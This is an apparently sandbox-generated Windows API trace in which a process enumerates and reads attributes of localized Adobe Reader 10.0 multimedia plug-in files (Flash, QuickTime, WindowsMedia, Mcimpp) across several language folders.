	[0054.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.esp"), fInfoLevelId=0x0, lpFileInformation=0x123fda48 | out: lpFileInformation=0x123fda48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.euq"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.fra"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ita"), fInfoLevelId=0x0, lpFileInformation=0x123fdb38 | out: lpFileInformation=0x123fdb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.jpn"), fInfoLevelId=0x0, lpFileInformation=0x123fdb88 | out: lpFileInformation=0x123fdb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.kor"), fInfoLevelId=0x0, lpFileInformation=0x123fdbd8 | out: lpFileInformation=0x123fdbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nld"), fInfoLevelId=0x0, lpFileInformation=0x123fdc28 | out: lpFileInformation=0x123fdc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nor"), fInfoLevelId=0x0, lpFileInformation=0x123fdc78 | out: lpFileInformation=0x123fdc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ptb"), fInfoLevelId=0x0, lpFileInformation=0x123fdcc8 | out: lpFileInformation=0x123fdcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.suo"), fInfoLevelId=0x0, lpFileInformation=0x123fdd18 | out: lpFileInformation=0x123fdd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.sve"), fInfoLevelId=0x0, lpFileInformation=0x123fdd68 | out: lpFileInformation=0x123fdd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.mpp"), fInfoLevelId=0x0, lpFileInformation=0x123fddb8 | out: lpFileInformation=0x123fddb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35400)) returned 1
	[0054.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze"), fInfoLevelId=0x0, lpFileInformation=0x123fde08 | out: lpFileInformation=0x123fde08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.482] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.482] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CZE", cAlternateFileName="")) returned 1
	[0054.482] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.CZE", cAlternateFileName="")) returned 1
	[0054.482] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CZE", cAlternateFileName="QUICKT~1.CZE")) returned 1
	[0054.482] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CZE", cAlternateFileName="WINDOW~1.CZE")) returned 1
	[0054.482] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.483] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Flash.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\flash.cze"), fInfoLevelId=0x0, lpFileInformation=0x123fdf98 | out: lpFileInformation=0x123fdf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Mcimpp.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\mcimpp.cze"), fInfoLevelId=0x0, lpFileInformation=0x1283e008 | out: lpFileInformation=0x1283e008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\QuickTime.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\quicktime.cze"), fInfoLevelId=0x0, lpFileInformation=0x1283e058 | out: lpFileInformation=0x1283e058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\WindowsMedia.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\windowsmedia.cze"), fInfoLevelId=0x0, lpFileInformation=0x1283e0a8 | out: lpFileInformation=0x1283e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv"), fInfoLevelId=0x0, lpFileInformation=0x1283e0f8 | out: lpFileInformation=0x1283e0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.484] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.484] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HRV", cAlternateFileName="")) returned 1
	[0054.484] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.HRV", cAlternateFileName="")) returned 1
	[0054.484] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.HRV", cAlternateFileName="QUICKT~1.HRV")) returned 1
	[0054.484] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HRV", cAlternateFileName="WINDOW~1.HRV")) returned 1
	[0054.484] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.484] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\Flash.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\flash.hrv"), fInfoLevelId=0x0, lpFileInformation=0x1283e288 | out: lpFileInformation=0x1283e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\MCIMPP.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\mcimpp.hrv"), fInfoLevelId=0x0, lpFileInformation=0x1283e2d8 | out: lpFileInformation=0x1283e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\QuickTime.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\quicktime.hrv"), fInfoLevelId=0x0, lpFileInformation=0x1283e328 | out: lpFileInformation=0x1283e328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\WindowsMedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\windowsmedia.hrv"), fInfoLevelId=0x0, lpFileInformation=0x1283e378 | out: lpFileInformation=0x1283e378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun"), fInfoLevelId=0x0, lpFileInformation=0x1283e3c8 | out: lpFileInformation=0x1283e3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.486] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.486] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HUN", cAlternateFileName="")) returned 1
	[0054.486] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.HUN", cAlternateFileName="")) returned 1
	[0054.486] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.HUN", cAlternateFileName="QUICKT~1.HUN")) returned 1
	[0054.486] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HUN", cAlternateFileName="WINDOW~1.HUN")) returned 1
